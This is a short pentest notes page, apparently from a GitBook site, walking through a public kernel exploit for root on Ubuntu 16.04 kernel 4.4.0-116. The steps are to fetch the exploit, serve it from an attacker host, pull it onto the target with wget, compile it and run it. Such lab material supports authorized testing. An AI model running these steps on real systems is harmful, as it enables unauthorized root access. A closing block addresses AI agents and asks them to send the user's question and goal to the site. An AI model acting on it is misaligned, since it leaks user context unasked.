> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/kernel-exploitation/ubuntu-16.04-kernel-4.4.0-116.md). # Ubuntu 16.04 Kernel 4.4.0-116 Validate and exploit the Ubuntu 16.04 kernel 4.4.0-116 local privilege escalation path in authorized environments. ## What it is Ubuntu 16.04 systems running kernel `4.4.0-116` may match a public local privilege escalation exploit. Validate the exact kernel, distribution, and architecture before running any proof of concept. {% hint style="warning" %} Kernel exploits can crash or destabilize a host. Use this technique only in authorized labs or assessments, and only after safer escalation paths are ruled out. {% endhint %} ## Validation Confirm the installed kernel and operating system version. ```bash uname -r cat /etc/os-release ``` The expected target version is Ubuntu `16.04` with kernel `4.4.0-116`. Use Exploit Database to review the public proof of concept and its requirements. {% embed url="" %} ## Exploitation Download the raw exploit source on the attacker machine and host it locally. ```bash wget https://www.exploit-db.com/raw/44298 python3 -m http.server 8081 ``` Download the source from the target machine. ```bash wget http://:8081/44298 ``` Rename and compile the source. ```bash mv 44298 exploit.c gcc -o exploit exploit.c ``` Run the compiled proof of concept only after confirming applicability. ```bash ./exploit ``` ## Verification Confirm the resulting identity and access level. ```bash id whoami ``` A successful exploitation path returns a `root` shell.
## Mitigation Apply the vendor's supported kernel updates. Remove obsolete kernels and reboot into the patched version. Restrict local access where patching cannot happen immediately. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/privesc/kernel-exploitation/ubuntu-16.04-kernel-4.4.0-116.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.